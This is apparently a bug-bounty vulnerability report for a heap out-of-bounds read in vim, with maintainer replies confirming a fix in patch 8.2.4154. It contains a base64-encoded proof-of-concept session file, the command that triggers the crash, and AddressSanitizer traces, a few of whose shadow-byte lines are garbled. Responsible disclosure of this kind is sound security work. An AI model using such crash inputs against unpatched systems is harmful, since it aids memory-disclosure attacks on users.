

# Out-of-bounds Read in vim/vim

0



Reported on Jan 18th 2022

## Description

A heap-based OOB read of size 4 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (lastest commit hash [fd218c8a36e7ed33f7a205163690c5b7d2f31f8a](#) ) on Ubuntu 20.04 for x86\_64/amd64.

## Proof of Concept

Here is the smallest poc we were able to produce (it is base64 encoded since it contains some unprintable characters):

```
$ echo -ne "CXdpMDAwMDAwMDA1MDAwMCA1MDAwMDAwMDAwMDAACiAgc2lsIW5vcml0ICAgICAgaW9leHQgFBQUBQUBQUBQUBQUBQUBQUBQUBQUBQUBQUBRsa25lCiAgc2lsIW5vcml0ICAgI9/fMBYXGLJPKgNneX15k/95eQEBAgEN/gb/3jABPQGEAQEBAT15eX15eW1lpmUgZSsgeXlweX15AXldXV1dXV1enUwdXV1dnV1" | base64 -d > poc
$ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ':qa!'
=====
==67807==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6210000
READ of size 4 at 0x621000016500 thread T0
#0 0x7f4e10795f3f in __interceptor_memmove (/lib/x86_64-linux-gnu/libas
#1 0x5612382d840a in vim_memsave /home/faraday/vim/src/alloc.c:604
#2 0x561238d26031 in u_save_line /home/faraday/vim/src/undo.c:373
#3 0x561238d4665c in u_saveline /home/faraday/vim/src/undo.c:3477
#4 0x561238d25615 in u_save /home/faraday/vim/src/undo.c:257
#5 0x561238d254a4 in u_save_cursor /home/faraday/vim/src/undo.c:237
#6 0x5612388b83c5 in op_addsub /home/faraday/vim/src/ops.c:2386
#7 0x561238858e66 in nv_addsub /home/faraday/vim/src/normal.c:2302
#8 0x56123884f61f in normal_cmd /home/faraday/vim/src/normal.c:1120
#9 0x5612385ac525 in exec_normal /home/faraday/vim/src/
#10 0x5612385ac2e4 in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:
#11 0x5612385ab802 in ex_normal /home/faraday/vim/src/ex_docmd.c:8510
```

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```

#11 0x56123856dd85 in ex_normal /home/faraday/vim/src/ex_docmd.c:8513
#12 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
#13 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
#14 0x561238addf98 in do_source /home/faraday/vim/src/scriptfile.c:1512
#15 0x561238adaf75 in cmd_source /home/faraday/vim/src/scriptfile.c:109
#16 0x561238adb132 in ex_source /home/faraday/vim/src/scriptfile.c:1124
#17 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
#18 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
#19 0x56123855f288 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:5
#20 0x56123905a82d in exe_commands /home/faraday/vim/src/main.c:3091
#21 0x56123904c323 in vim_main2 /home/faraday/vim/src/main.c:774
#22 0x56123904b809 in main /home/faraday/vim/src/main.c:426
#23 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
#24 0x5612382d7cbd in _start (/home/faraday/vim/src/vim+0x1259cbd)

```

0x621000016500 is located 0 bytes to the right of 4096-byte region [0x621000000000, 0x621000016500) allocated by thread T0 here:

```

#0 0x7f4e10802bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc)
#1 0x5612382d817e in lalloc /home/faraday/vim/src/alloc.c:248
#2 0x5612382d7f29 in alloc /home/faraday/vim/src/alloc.c:151
#3 0x561239062c5c in mf_alloc_bhdr /home/faraday/vim/src/memfile.c:884
#4 0x56123905f03c in mf_new /home/faraday/vim/src/memfile.c:376
#5 0x5612387bbbda in ml_new_data /home/faraday/vim/src/memline.c:4077
#6 0x561238798cc5 in ml_open /home/faraday/vim/src/memline.c:394
#7 0x561238304457 in open_buffer /home/faraday/vim/src/buffer.c:185
#8 0x561239059185 in create_windows /home/faraday/vim/src/main.c:2861
#9 0x56123904c02e in vim_main2 /home/faraday/vim/src/main.c:705
#10 0x56123904b809 in main /home/faraday/vim/src/main.c:426
#11 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.

```

SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86\_64-linux-gnu/libasan.so.5) in vim/src/main.c:2861:10: Shadow bytes around the buggy address:

```

0x0c427fffac50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffac60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffac70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffac80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffac90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fffaca0: [fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffacb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffacc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffacd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

```

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0x0c42/+++ace0: ta ta ta ta ta ta ta ta ta ta ta ta ta ta ta ta  
0x0c427fffacf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
Shadow gap: cc  
==67807==ABORTING



## Impact

This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities that may lead to code execution.

## Acknowledgements

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

Vulnerability Type  
CWE-125: Out-of-bounds Read

Severity  
Medium (5.5)

Visibility  
Public

Status  
Fixed

Found by



octaviogalland

@octaviogalland

unranked ▼

Fixed by



Bram Moolenaar

@brammool

maintainer

This report was seen 889 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar 10 months ago

Maintainer

I normally build with `-DABORT_ON_INTERNAL_ERROR` and then it catches an `ml_get` error much earlier. I assume that when compiling without it Vim continues with the wrong line number and tries to access a line that does not exist.

Bram Moolenaar 10 months ago

Maintainer

Compiling without `-DABORT_ON_INTERNAL_ERROR` I can reproduce the memory error. I will make a fix for the `ml_get` error, that also fixes the memory error.

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**Bram Moolenaar** validated this vulnerability 10 months ago

**octaviogalland** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

**Bram Moolenaar** 10 months ago

Maintainer

Fixed in patch 8.2.4154

**Bram Moolenaar** marked this as fixed in 8.2 with commit 05b276 10 months ago

**Bram Moolenaar** has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

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